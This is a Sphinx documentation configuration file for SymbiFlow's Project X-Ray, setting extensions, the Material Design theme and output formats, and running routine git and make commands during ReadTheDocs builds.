# All configuration values have a default; values that are commented out
# serve to show the default.
import re
# Markdown support
import recommonmark
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#
import os
import sys
sys.path.insert(0, os.path.abspath('.'))
from markdown_code_symlinks import LinkParser, MarkdownSymlinksDomain
# -- General configuration ------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#
# needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
# yapf: disable
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.autosummary',
'sphinx.ext.doctest',
'sphinx.ext.imgmath',
'sphinx.ext.napoleon',
'sphinx.ext.todo',
'sphinx_markdown_tables'
]
# yapf: enable
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
source_suffix = ['.rst', '.md']
source_parsers = {
'.md': 'markdown_code_symlinks.LinkParser',
}
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'Project X-Ray'
copyright = u'2018, SymbiFlow Team'
author = u'SymbiFlow Team'
# Enable github links when not on readthedocs
on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
if not on_rtd:
html_context = {
"display_github": True, # Integrate GitHub
"github_user": "symbiflow", # Username
"github_repo": "prjxray", # Repo name
"github_version": "master", # Version
"conf_py_path": "/doc/",
}
else:
docs_dir = os.path.abspath(os.path.dirname(__file__))
print("Docs dir is:", docs_dir)
import subprocess
subprocess.call('git fetch origin --unshallow', cwd=docs_dir, shell=True)
subprocess.check_call('git fetch origin --tags', cwd=docs_dir, shell=True)
subprocess.check_call('make links', cwd=docs_dir, shell=True)
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The full version, including alpha/beta/rc tags.
release = re.sub('^v', '', os.popen('git describe ').read().strip())
# The short X.Y version.
version = release
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This patterns also effect to html_static_path and html_extra_path
# yapf: disable
exclude_patterns = [
'_build',
'architecture/copying.md',
'db_dev_process/minitests/index/**',
'db_dev_process/fuzzers/index/**'
]
# yapf: enable
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'default'
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
#
html_theme = 'sphinx_materialdesign_theme'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#
html_theme_options = {
# Specify a list of menu in Header.
# Tuples forms:
# ('Name', 'external url or path of pages in the document', boolean, 'icon name')
#
# Third argument:
# True indicates an external link.
# False indicates path of pages in the document.
#
# Fourth argument:
# Specify the icon name.
# For details see link.
# https://material.io/icons/
'header_links': [
('Home', 'index', False, 'home'),
("GitHub", "https://github.com/SymbiFlow/prjxray", True, 'link')
],
# Customize css colors.
# For details see link.
# https://getmdl.io/customize/index.html
#
# Values: amber, blue, brown, cyan deep_orange, deep_purple, green, grey, indigo, light_blue,
# light_green, lime, orange, pink, purple, red, teal, yellow(Default: indigo)
'primary_color':
'deep_purple',
# Values: Same as primary_color. (Default: pink)
'accent_color':
'purple',
# Customize layout.
# For details see link.
# https://getmdl.io/components/index.html#layout-section
'fixed_drawer':
True,
'fixed_header':
True,
'header_waterfall':
True,
'header_scroll':
False,
# Render title in header.
# Values: True, False (Default: False)
'show_header_title':
False,
# Render title in drawer.
# Values: True, False (Default: True)
'show_drawer_title':
True,
# Render footer.
# Values: True, False (Default: True)
'show_footer':
True
}
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# Custom sidebar templates, must be a dictionary that maps document names
# to template names.
#
# This is required for the alabaster theme
# refs: http://alabaster.readthedocs.io/en/latest/installation.html#sidebars
html_sidebars = {
'**': [
'relations.html', # needs 'show_related': True theme option to display
'searchbox.html',
]
}
# -- Options for HTMLHelp output ------------------------------------------
# Output file base name for HTML help builder.
htmlhelp_basename = 'prjxray'
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#
# 'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#
# 'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#
# 'preamble': '',
# Latex figure (float) alignment
#
# 'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(
master_doc, 'ProjectX-Ray.tex', u'Project X-Ray Documentation',
u'SymbiFlow Team', 'manual'),
]
# -- Options for manual page output ---------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
(master_doc, 'projectx-ray', u'Project X-Ray Documentation', [author], 1)
]
# -- Options for Texinfo output -------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
(
master_doc, 'ProjectX-Ray', u'Project X-Ray Documentation', author,
'ProjectX-Ray', 'One line description of project.', 'Miscellaneous'),
]
# Example configuration for intersphinx: refer to the Python standard library.
intersphinx_mapping = {'https://docs.python.org/': None}
def setup(app):
github_code_repo = 'https://github.com/SymbiFlow/prjxray/'
github_code_branch = 'blob/master/'
docs_root_dir = os.path.realpath(os.path.dirname(__file__))
code_root_dir = os.path.realpath(os.path.join(docs_root_dir, ".."))
MarkdownSymlinksDomain.init_domain(
github_code_repo, github_code_branch, docs_root_dir, code_root_dir)
MarkdownSymlinksDomain.find_links()
app.add_domain(MarkdownSymlinksDomain)
app.add_config_value(
'recommonmark_config', {
'github_code_repo': github_code_repo,
}, True)
| 31.043165 | 97 | 0.673349 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.